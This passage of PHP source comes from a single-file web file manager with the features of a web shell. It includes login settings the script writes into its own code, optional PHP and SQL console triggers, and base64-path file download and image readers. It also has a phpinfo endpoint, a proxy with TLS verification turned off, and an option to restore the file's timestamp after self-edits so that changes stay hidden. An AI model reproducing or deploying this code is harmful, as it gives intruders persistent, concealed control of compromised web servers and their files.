AiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T///////////////////////////////////////////////////////////////////////////